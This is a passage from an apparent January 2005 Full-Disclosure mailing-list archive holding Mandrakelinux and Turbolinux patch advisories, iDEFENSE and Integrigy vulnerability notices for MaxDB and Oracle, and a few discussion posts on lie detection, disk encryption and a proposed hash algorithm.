11b39014c3c354c549f4b510d0e59ad5 10.0/RPMS/playmidi-2.5-3.1.100mdk.i586.rpm 930ad98832bc68b4f2d97cde16fbb589 10.0/RPMS/playmidi-X11-2.5-3.1.100mdk.i586.rpm ac2bef9ddcba160bf52f9a883c759fdf 10.0/SRPMS/playmidi-2.5-3.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 629089b1281e17784bd3fc4d69d8424a amd64/10.0/RPMS/playmidi-2.5-3.1.100mdk.amd64.rpm d8cf76271cfab47e597090400c32ca4a amd64/10.0/RPMS/playmidi-X11-2.5-3.1.100mdk.amd64.rpm ac2bef9ddcba160bf52f9a883c759fdf amd64/10.0/SRPMS/playmidi-2.5-3.1.100mdk.src.rpm Mandrakelinux 10.1: 1be61eeb85b0c916771fc5a834691835 10.1/RPMS/playmidi-2.5-3.1.101mdk.i586.rpm e43429abba5378ab18d5d8cb1b61c345 10.1/RPMS/playmidi-X11-2.5-3.1.101mdk.i586.rpm c1958aeb4fe6a620b43c90581c5cbef8 10.1/SRPMS/playmidi-2.5-3.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: acbe49ee3b86227a0757cd8ebf7b1d08 x86_64/10.1/RPMS/playmidi-2.5-3.1.101mdk.x86_64.rpm 3f1bd829359d1d5b26d879ca3ed20c8b x86_64/10.1/RPMS/playmidi-X11-2.5-3.1.101mdk.x86_64.rpm c1958aeb4fe6a620b43c90581c5cbef8 x86_64/10.1/SRPMS/playmidi-2.5-3.1.101mdk.src.rpm Corporate Server 3.0: ee62926bf969895976b99bafb79d12a6 corporate/3.0/RPMS/playmidi-2.5-3.1.C30mdk.i586.rpm 983da3f98fd776bdeb484ce6228e8a8d corporate/3.0/RPMS/playmidi-X11-2.5-3.1.C30mdk.i586.rpm 70a3be81e9afce9341faf9ce61e7e60a corporate/3.0/SRPMS/playmidi-2.5-3.1.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB7tommqjQ0CJFipgRAoB5AKDsUDE/2fU6ZBO1B3cRNmFixIj5agCgiJEu 7hQjmvJKEWuufOC/JE6Z4uA= =07V0 -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 19 22:10:38 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Wed, 19 Jan 2005 15:10:38 -0700 Subject: [Full-Disclosure] MDKSA-2005:011 - Updated xine packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: xine-lib Advisory ID: MDKSA-2005:011 Date: January 19th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: iDefense discovered that the PNA_TAG handling code in pnm_get_chunk() does not check if the input size is larger than the buffer size (CAN-2004-1187). As well, they discovered that in this same function, a negative value could be given to an unsigned variable that specifies the read length of input data (CAN-2004-1188). Ariel Berkman discovered that xine-lib reads specific input data into an array without checking the input size making it vulnerable to a buffer overflow problem (CAN-2004-1300). The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1187 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1188 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1300 http://xinehq.de/index.php/security/XSA-2004-6 http://xinehq.de/index.php/security/XSA-2004-7 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 04cf16b28902e4591e11ae72fd87d662 10.0/RPMS/libxine1-1-0.rc3.6.3.100mdk.i586.rpm b4229121fb5e1c2e8e3150fb770d20b1 10.0/RPMS/libxine1-devel-1-0.rc3.6.3.100mdk.i586.rpm dedf902f1106a5d2962169e0d384484b 10.0/RPMS/xine-aa-1-0.rc3.6.3.100mdk.i586.rpm 0e794be9dcbe0d7df7ac7023f90b9ce7 10.0/RPMS/xine-arts-1-0.rc3.6.3.100mdk.i586.rpm e2129af73ff087513cf3e206b6243a22 10.0/RPMS/xine-dxr3-1-0.rc3.6.3.100mdk.i586.rpm 465023e0d347cc68e50cd18e7e035d7f 10.0/RPMS/xine-esd-1-0.rc3.6.3.100mdk.i586.rpm 3aba7156985636b52cf388ee65efa61a 10.0/RPMS/xine-flac-1-0.rc3.6.3.100mdk.i586.rpm 442d828c5c5c477fb4056eec27ac99ac 10.0/RPMS/xine-gnomevfs-1-0.rc3.6.3.100mdk.i586.rpm 73e2c9d0af08f7af594897963ad2acee 10.0/RPMS/xine-plugins-1-0.rc3.6.3.100mdk.i586.rpm 987634217ee50058b309ce153c0d71cd 10.0/SRPMS/xine-lib-1-0.rc3.6.3.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 66d763149801966fb38c9a07666eced3 amd64/10.0/RPMS/lib64xine1-1-0.rc3.6.3.100mdk.amd64.rpm 486eaa41ea24dc895ab68a7221efa641 amd64/10.0/RPMS/lib64xine1-devel-1-0.rc3.6.3.100mdk.amd64.rpm 5b454fdc3cc84ce2bd9aa8d4495971af amd64/10.0/RPMS/xine-aa-1-0.rc3.6.3.100mdk.amd64.rpm f8a5ce8ccdb495f23c879a58dc4a005b amd64/10.0/RPMS/xine-arts-1-0.rc3.6.3.100mdk.amd64.rpm aa3a3a29c478a444bbcb4fe7f48d217c amd64/10.0/RPMS/xine-esd-1-0.rc3.6.3.100mdk.amd64.rpm 051f953d91864f0609d55d9f5d13c545 amd64/10.0/RPMS/xine-flac-1-0.rc3.6.3.100mdk.amd64.rpm 7288d9764ff125053834cc3cbc56618b amd64/10.0/RPMS/xine-gnomevfs-1-0.rc3.6.3.100mdk.amd64.rpm 8c11dd4c0453b8236494df5e177985b0 amd64/10.0/RPMS/xine-plugins-1-0.rc3.6.3.100mdk.amd64.rpm 987634217ee50058b309ce153c0d71cd amd64/10.0/SRPMS/xine-lib-1-0.rc3.6.3.100mdk.src.rpm Mandrakelinux 10.1: dc10ced310a94ac2b1cdaa26d5065309 10.1/RPMS/libxine1-1-0.rc5.9.1.101mdk.i586.rpm 2ff06644e8ba40de686faea2870be099 10.1/RPMS/libxine1-devel-1-0.rc5.9.1.101mdk.i586.rpm dab77c7bb2d958fb34fd07dd525b7026 10.1/RPMS/xine-aa-1-0.rc5.9.1.101mdk.i586.rpm c0daf0f0835a0831251e725edb491d98 10.1/RPMS/xine-arts-1-0.rc5.9.1.101mdk.i586.rpm a9d901fa51bd439c5e6b54fb799afcde 10.1/RPMS/xine-dxr3-1-0.rc5.9.1.101mdk.i586.rpm 6e2e9ac54916eb1409347968bddc0903 10.1/RPMS/xine-esd-1-0.rc5.9.1.101mdk.i586.rpm 954f717131a3079ea5dff56ab3a20a8e 10.1/RPMS/xine-flac-1-0.rc5.9.1.101mdk.i586.rpm 72a82036a27f6bed29412b81417603eb 10.1/RPMS/xine-gnomevfs-1-0.rc5.9.1.101mdk.i586.rpm a76f9f553c97aa55fe4849225d7921a2 10.1/RPMS/xine-plugins-1-0.rc5.9.1.101mdk.i586.rpm dab247b679d8cb6f7bdf06b71d5e54b8 10.1/SRPMS/xine-lib-1-0.rc5.9.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 5cfbd8787d4c8e0207437f048d5994a4 x86_64/10.1/RPMS/lib64xine1-1-0.rc5.9.1.101mdk.x86_64.rpm 8a4b9b26b8b58fd29477a6b260bd79c6 x86_64/10.1/RPMS/lib64xine1-devel-1-0.rc5.9.1.101mdk.x86_64.rpm c2bc72cfbfe95f18a6ae0b18b98807c8 x86_64/10.1/RPMS/xine-aa-1-0.rc5.9.1.101mdk.x86_64.rpm 7f059dfbc7e445a255510c9a5a7338b7 x86_64/10.1/RPMS/xine-arts-1-0.rc5.9.1.101mdk.x86_64.rpm 53b293f453695e7104a1ae593f79608a x86_64/10.1/RPMS/xine-dxr3-1-0.rc5.9.1.101mdk.x86_64.rpm 6efb0ca6be7650e60961e13f479b117a x86_64/10.1/RPMS/xine-esd-1-0.rc5.9.1.101mdk.x86_64.rpm 4caa5c113d95773e4ca462b69bb17e76 x86_64/10.1/RPMS/xine-flac-1-0.rc5.9.1.101mdk.x86_64.rpm ba0f5f739785622cac85034055fa7304 x86_64/10.1/RPMS/xine-gnomevfs-1-0.rc5.9.1.101mdk.x86_64.rpm d3c1a9cca1ae3800d72f82486b26f0e1 x86_64/10.1/RPMS/xine-plugins-1-0.rc5.9.1.101mdk.x86_64.rpm dab247b679d8cb6f7bdf06b71d5e54b8 x86_64/10.1/SRPMS/xine-lib-1-0.rc5.9.1.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB7tremqjQ0CJFipgRAr0HAJ97WOzp9JCz/lQhgCvOi2yyRojHcACeOw+A 7Tq28VFsghjETZ2Mu2DVTLM= =awHr -----END PGP SIGNATURE----- From chromazine at sbcglobal.net Wed Jan 19 23:42:15 2005 From: chromazine at sbcglobal.net (Steve Kudlak) Date: Wed, 19 Jan 2005 15:42:15 -0800 Subject: [Full-Disclosure] Illegal mind control rtrc. In-Reply-To: <200501182121.j0ILLp8X006146@turing-police.cc.vt.edu> References: <200501182121.j0ILLp8X006146@turing-police.cc.vt.edu> Message-ID: <41EEF057.9070903@sbcglobal.net> I think the thing in question was it was capable of telling if a person "recognized something". Nothing about "lying" per se. Many of these things they haven't been statisticly tested. The thing that was discussed was supposedly a signal a person's brain puts out when they recognize an item. The forensic idea would be you would show somebody "the murder weapon" and if they produced the "recgonition signal" it wouldn't matter whether they said they did or not., As far as I can tell it has never been checked with any tests like the following. A person is given a .38 Police Special to fire and he does. He is then after a week or so shown another different . .38 Police Specisl. Does he generate a recognition signal? Does he generate a recognition signasl for that. thing? Does a gun naive subject generate it for "a gun? or any gun? If the person and is shown a .45 does it still generate a recognition signal etc? Defense attorneys will have a Perry Mason field day with this sort of thing if there are any cracks in it. If anyone has the references to this story I'd love to see them. It ran on BBC World Service awhile ago. Havae Fun, Sends Steve Valdis.Kletnieks at vt.edu wrote: >On Tue, 18 Jan 2005 14:22:28 CST, Ron DuFresne said: > > > >>of course, on a semi serious note, elctromagnectic imaging scans have >>proven to be pretty effective in noting the difference in a lying brain >>and a truthful one. Now if they can just consolidate all that equipment >>into a small handable wand kinda device... >> >> > >What we *really* need is a portable cluon-flux detector, so that we can wave >it past somebody and tell if they're a net emitter of cluons, or a cluon sink, >or a null-cluon. > >Interestingly enough, it can be shown that cluon sinks are preferable to >null-cluons - sinks will absorb cluons and accumulate them, eventually becoming >cluon emitters once they reach a critical mass of cluons. Null cluons react >with cluons in about the same way as neutrinos react with normal matter - they >very rarely hit-and-stick. > >OB-Full-Disclosure: The effect on your organization's overall security stance >when a null-cluon gets appointed into management. > > >------------------------------------------------------------------------ > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > From idlabs-advisories at idefense.com Wed Jan 19 20:56:19 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Wed, 19 Jan 2005 15:56:19 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.19.05: MySQL MaxDB Web Agent Multiple Denial of Service Vulnerabilities Message-ID: MySQL MaxDB Web Agent Multiple Denial of Service Vulnerabilities iDEFENSE Security Advisory 01.19.05 www.idefense.com/application/poi/display?id=187&type=vulnerabilities January 19, 2005 I. BACKGROUND MaxDB by MySQL is a re-branded and enhanced version of SAP DB, SAP AG's open source database. MaxDB is a heavy-duty, SAP-certified open source database that offers high availability, scalability and a comprehensive feature set. MaxDB complements the MySQL database server, targeted for large mySAP ERP environments and other applications that require maximum enterprise-level database functionality. Further details are available at: http://www.mysql.com/products/maxdb/ II. DESCRIPTION Two remotely exploitable denial of service conditions have been found to exist in MySQL MaxDB and SAP DB Web Agent products. The first vulnerability specifically exists due to a null pointer dereference in the sapdbwa_GetUserData() function. A remote attacker can request the webdav handler code with invalid parameters to cause a null pointer dereference resulting in a crash of SAP DB Web Agent. The second vulnerability is due to insufficient handling of malformed HTTP headers. A remote attacker can submit a HTTP request with invalid headers to cause a denial of service. III. ANALYSIS A remote attacker can send simple HTTP requests to cause MaxDB Web Agent to crash. IV. DETECTION iDEFENSE has confirmed the existence of these vulnerabilities in MySQL MaxDB 7.5.0.0 on Linux and Windows platforms. It is believed that all versions prior to 7.5.0.21 are affected. V. WORKAROUND Employ firewalls, access control lists or other TCP/UDP restriction mechanisms to limit access to administrative systems and services. VI. VENDOR RESPONSE The vulnerability has been addressed in MaxDB 7.5.00.21. Updated binaries (version 7.5.00.23) are available from: http://dev.mysql.com/downloads/maxdb/7.5.00.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the following names to these issues: CAN-2005-0081 MySQL MaxDB Web Agent Null HTTP Header Denial of Service Vulnerability CAN-2005-0082 MySQL MaxDB Web Agent GetUserData Denial of Service Vulnerability VIII. DISCLOSURE TIMELINE 08/20/2004 Initial vendor notification 08/24/2004 Initial vendor response 01/19/2005 Public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp VII. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From als at thangorodrim.de Thu Jan 20 01:43:59 2005 From: als at thangorodrim.de (Als) Date: Wed, 19 Jan 2005 22:43:59 -0300 Subject: [Full-Disclosure] Re: Thank you! Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/0b777104/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: MoreInfo.scr Type: application/octet-stream Size: 20364 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/0b777104/attachment.obj From alerts at integrigy.com Thu Jan 20 04:09:58 2005 From: alerts at integrigy.com (Integrigy Security) Date: Wed, 19 Jan 2005 22:09:58 -0600 Subject: [Full-Disclosure] Integrigy Security Advisory - High Risk Security Issues in the Oracle Database and Oracle Applications Message-ID: <20050120041037.CAAF9415D@mail.integrigy.com> Integrigy Security Advisory ______________________________________________________________________ High Risk Security Issues in the Oracle Database and Oracle Applications Oracle Critical Patch Update - January 2005 January 19, 2005 ______________________________________________________________________ Summary: Oracle has released the its first Critical Patch Update (January 2005) and fixes 23 vulnerabilities in the Oracle Database, Oracle Application Server, and Oracle E-Business Suite - Integrigy discovered 5 of these vulnerabilities. The vulnerabilities in the Oracle Database and Oracle E-Business Suite should be considered high risk and organizations should work to apply the necessary patches at the earliest possible opportunity. Integrigy Discovered Vulnerabilities: Product: Oracle E-Business Suite Versions: 11.0.x, 11.5.1 - 11.5.9 Platforms: All platforms Risk Level: High Number: 2 Product: Oracle Database Versions: 8.1.7.x, 9.0.1.x, 9.2.0.x, and 10.1.0.x Platforms: All platforms Risk Level: High Number: 1 Product: Oracle Application Server Versions: 1.0.2.2.x Platforms: All platforms Risk Level: Medium Number: 2 _____________________________________________________________________ Description: Oracle Corporation released the first Critical Patch Update (CPU) on January 18, 2005. The CPU is a collection of security related patches for the Oracle Database, Oracle Application Server, Oracle Collaboration Suite, and Oracle E-Business Suite. There are 23 vulnerabilities addressed in the CPU ranging from buffer overflows to SQL injection to denial of service (DoS) issues. Most of the vulnerabilities are high risk and should be addressed quickly by organizations. Oracle Database Vulnerabilities: Multiple vulnerabilities exist in the Oracle Spatial package MDSYS.MD2 that can be exploited by an attacker to gain escalated privileges on the server. Oracle Application Server Vulnerabilities: A denial of service vulnerability exists in the Oracle Forms Server. The Oracle Reports Server administrative functions can be exploited to obtain the database password used by the server. Integrigy released a security alert in November 2002 (www.integrigy.com/alerts/ReportsServer_APPS_Disclosure.htm) to notify Oracle Applications clients of the issue and to provide a work-around. The Oracle patch removes the password from being displayed. However, Integrigy still recommends clients install the work-around in order to block access to all the administrative functions. Oracle E-Business Suite Vulnerabilities: Two SQL injection vulnerabilities exist in the Oracle E-Business Suite. Solution: All Oracle customers should consider these vulnerabilities high risk and apply the Oracle patches at the earliest possible opportunity. Customers with Internet facing application servers should consider applying these patches as soon as possible. See Oracle Metalink Note 293953.1 for patch information and instructions. In order to assist our clients, Integrigy has developed a detailed analysis of the security release and its impact on Oracle Applications. The analysis provides additional information on the vulnerabilities and patches released in the Critical Patch Update as it relates to the Oracle E-Business Suite (Oracle Applications 11i). The objective of the analysis is to assist IT managers and Applications DBAs in assessing the impact on their Oracle Applications 11i implementations and the risks associated with the vulnerabilities, especially since the CPU addresses a large number of vulnerabilities and impacts all layers of the Oracle Applications technology stack. The analysis can be downloaded from Integrigy's website at www.integrigy.com/info/SecurityAnalysis-CPU0105.pdf. ______________________________________________________________________ For more information or questions regarding this security alert, please contact us at alerts at integrigy.com. Integrigy has included checks for many of these vulnerabilities in AppSentry, a vulnerability scanner for Oracle Applications, and AppDefend, an application intrusion prevention system for Oracle Applications. Credit: The vulnerabilities referenced in this advisory were discovered by Stephen Kost of Integrigy Corporation. ______________________________________________________________________ About Integrigy Corporation (www.integrigy.com) Integrigy Corporation is a leader in application security for large enterprise, mission critical applications. Our application vulnerability assessment tool, AppSentry, assists companies in securing their largest and most important applications. AppDefend is an intrusion prevention system for Oracle Applications and blocks common types of attacks against application servers. Integrigy Consulting offers security assessment services for leading ERP and CRM applications. For more information, visit www.integrigy.com. From ledeve at gmx.net Thu Jan 20 09:27:59 2005 From: ledeve at gmx.net (Lentila de Vultur) Date: Thu, 20 Jan 2005 10:27:59 +0100 (MET) Subject: [Full-Disclosure] harddisk encryption Message-ID: <31972.1106213279@www38.gmx.net> hi, i'm evaluating a software that performs harddisk encryption for deploying in my company. the software in question is utimaco safeguard easy v4.10 (www.utimaco.com) running on w2k. i am interested in communitty's oppinion about this product. has anyone performed a detailed analysis of it? i googled around but i couldn't find much information, except that the version 3.20 sr1 has earned an eal3 certification from the german federal agency for it security. tia -- this e-mail is certified content-free. Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl From seasonedpaper at djc.people.inodetech.com Thu Jan 20 04:47:51 2005 From: seasonedpaper at djc.people.inodetech.com (seasonedpaper at djc.people.inodetech.com) Date: Wed, 19 Jan 2005 20:47:51 -0800 (PST) Subject: [Full-Disclosure] ASH Hashing Algorithm Message-ID: <48499.209.204.180.178.1106196471.squirrel@gobbleturkey.simpli.biz> With the current class of cryptographic algorithms growing weaker we face an increasingly large problem. I went ahead took two SHA-2 algorithms and created ASH-1 and ASH-2. The modifications are algorithm neutral and fairly simple, but add security and flexibility to the SHA family. The hashing algorithm is detailed in this paper: http://xxx.lanl.gov.nyud.net:8090/abs/cs.CR/0501038 Comments, criticism, and help all appreciated. Thanks, D.J. Capelis Network Security and Cryptography Researcher From security-announce at turbolinux.co.jp Thu Jan 20 06:35:51 2005 From: security-announce at turbolinux.co.jp (Turbolinux) Date: Thu, 20 Jan 2005 15:35:51 +0900 Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 20/Jan/2005 Message-ID: <200501201536.01355.security-announce@turbolinux.co.jp> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is an announcement only email list for the x86 architecture. ============================================================ Turbolinux Security Announcement 20/Jan/2005 ============================================================ The following page contains the security information of Turbolinux Inc. - Turbolinux Security Center http://www.turbolinux.com/security/ (1) xpdf -> Buffer overflow (2) libtiff -> Multiple vulnerabilities in libtiff (3) XFree86 -> Multiple vulnerabilities in libXpm (4) imlib -> Two vulnerabilities discovered in imlib =========================================================== * xpdf -> Buffer overflow =========================================================== More information: Xpdf is an X Window System based viewer for Portable Document Format (PDF) files. The buffer overflow was found in the Gfx::doImage function in Gfx.cc in xpdf version 3.00. Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed PDF files. Affected Products: - Turbolinux 10 Server Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- # turbopkg or # zabom -u xpdf --------------------------------------------- Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/xpdf-3.00-5.src.rpm 4604490 d33abd903ee32d277260d1c230dcfe70 References: CVE [CAN-2004-1125] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125 =========================================================== * libtiff -> Multiple vulnerabilities in libtiff =========================================================== More information: The libtiff package contains a library of functions for manipulating TIFF (Tagged Image File Format) image format files. Multiple issues exist in libtiff: - Multiple vulnerabilities in libtiff's RLE (run length encoding) decoders - Vulnerability in tif_dirread.c - Multiple integer overflows - Integer overflow in tif_dirread.c and tif_fax3.c Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed TIFF image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u libtiff [other] # turbopkg or # zabom update libtiff --------------------------------------------- Source Packages Size: MD5 libtiff-3.5.7-7.src.rpm 972878 ed8bd0ef2bf2a1931610e91713a8d7c4 Binary Packages Size: MD5 libtiff-3.5.7-7.i586.rpm 316109 2653e065f0c5fbc95c850a1dbf8ce385 Source Packages Size: MD5 libtiff-3.5.7-7.src.rpm 972878 0fd2512f0caa91f27d80619bdd246d51 Binary Packages Size: MD5 libtiff-3.5.7-7.i586.rpm 316422 00d6b827b50c02990eec3768ae92d4c9 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/libtiff-3.6.1-4.src.rpm 1093717 362993a9fe4c86ebe19b244210a2b6cf Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-3.6.1-4.i586.rpm 232659 0f1d0d2fb52c72d38cd9a4964d50ba25 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-debug-3.6.1-4.i586.rpm 256539 3dfa5531c4c29444b7ee939f97ad8f35 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-devel-3.6.1-4.i586.rpm 509454 8c312bee14f08dca7f2dde75766ab191 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/libtiff-3.5.7-7.src.rpm 972878 ad86cfa9f29064a6457eae596dbe0020 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-3.5.7-7.i586.rpm 222710 7e3dc3844942811aee6aea8c405e3628 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm 469753 4918c1f7b75335f9bfe3d96d322a0961 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/libtiff-3.5.7-7.src.rpm 972878 ecea2012e0d8eaea72d27141e3b112bf Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-3.5.7-7.i586.rpm 316627 cad5ce73c1d9e515f390461cf4a72126 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm 595504 13bcf43c5208b27d485eb6e096cca14b Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 d507119975f6299adf197181f4eda89a Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-3.5.5-7.i586.rpm 738427 a3bc600c346754b83b8e5932908955e7 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 632579 6ab0c04ac7ef41df03073e56d622da8f Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 9fd2675fa8d5146faf3bffab02ae08ab Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm 702575 958636e2ddf39b68b77f346671c7d10c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 621763 05e2d24f8f16e3f10c690b03929db76f Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm 918710 b0b307c92d092a8dec1f5bb58ba81802 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm 702616 616c97ff0678e34a646f2d18b2f0b0d9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm 622017 4c1e95f277cc72f9dadc76e10da85eb8 References: CVE [CAN-2004-0803] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803 [CAN-2004-0804] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804 [CAN-2004-0886] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886 [CAN-2004-1183] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183 [CAN-2004-1308] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308 =========================================================== * XFree86 -> Multiple vulnerabilities in libXpm =========================================================== More information: XFree86 is an implementation of the X Window System, providing a core graphical user interface and video drivers. Multiple vulnerabilities have been discovered in the handling of libXpm for XFree86. Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed XPM image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-Xvfb XFree86-contrib XFree86-cyrillic-fonts \ XFree86-debug XFree86-devel XFree86-fonts XFree86-libs XFree86-twm XFree86-xcursor XFree86-xcursor-devel \ XFree86-xf86config XFree86-xfs XFree86-xft XFree86-xft-devel [other] # turbopkg or # zabom update XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-contrib \ XFree86-cyrillic-fonts XFree86-devel XFree86-libs XFree86-xfs --------------------------------------------- Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm 56924470 eb845b3be235bb21aa0278a180623083 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm 12437623 ee386b128dc366a57b040bc805438605 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm 17914136 7a51c84fdfeb84728ee8e34aa3b90bc3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm 10767930 1b4168835146c84115251d0fd8464ba3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm 1767856 